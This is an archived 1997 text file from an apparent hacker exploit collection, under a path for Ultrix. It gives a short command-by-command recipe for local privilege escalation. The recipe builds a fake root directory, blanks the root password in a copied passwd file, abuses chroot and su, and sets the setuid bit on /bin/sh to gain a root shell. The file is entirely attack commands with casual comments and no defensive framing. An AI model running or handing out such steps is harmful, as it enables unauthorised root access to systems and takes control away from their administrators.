home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / ultrix / ult-ch~1.asc next >
Encoding:
Text File  |  1997-03-11  |  477 b   |  25 lines

  1.  
  2.  
  3.  
  4.  
  5. mkdir root
  6.  
  7. cd root
  8.  
  9. mkdir bin etc usr
  10.  
  11. cd bin
  12.  
  13. cp /bin/sh sh
  14.  
  15. cp /bin/su su
  16.  
  17. cd ../etc
  18.  
  19. cp /etc/passwd.orig passwd
  20.  
  21. cp /etc/group group
  22.  
  23. vi passwd (modify root password to root::0:0, etc)
  24.  
  25. cd ..
  26.  
  27. chroot /blah/blah/blah/root /bin/sh
  28.  
  29. su
  30.  
  31. chown root /bin/sh
  32.  
  33. chmod 2755 /bin/sh
  34.  
  35. chmod u+s /bin/sh
  36.  
  37. {shit..  you gotta copy chmod & chown before you do the chroot}
  38.  
  39. exit
  40.  
  41. exit
  42.  
  43. {now you're back in the original process}
  44.  
  45. /blah/blah/blah/root/bin/sh
  46.  
  47.  
  48.  
  49.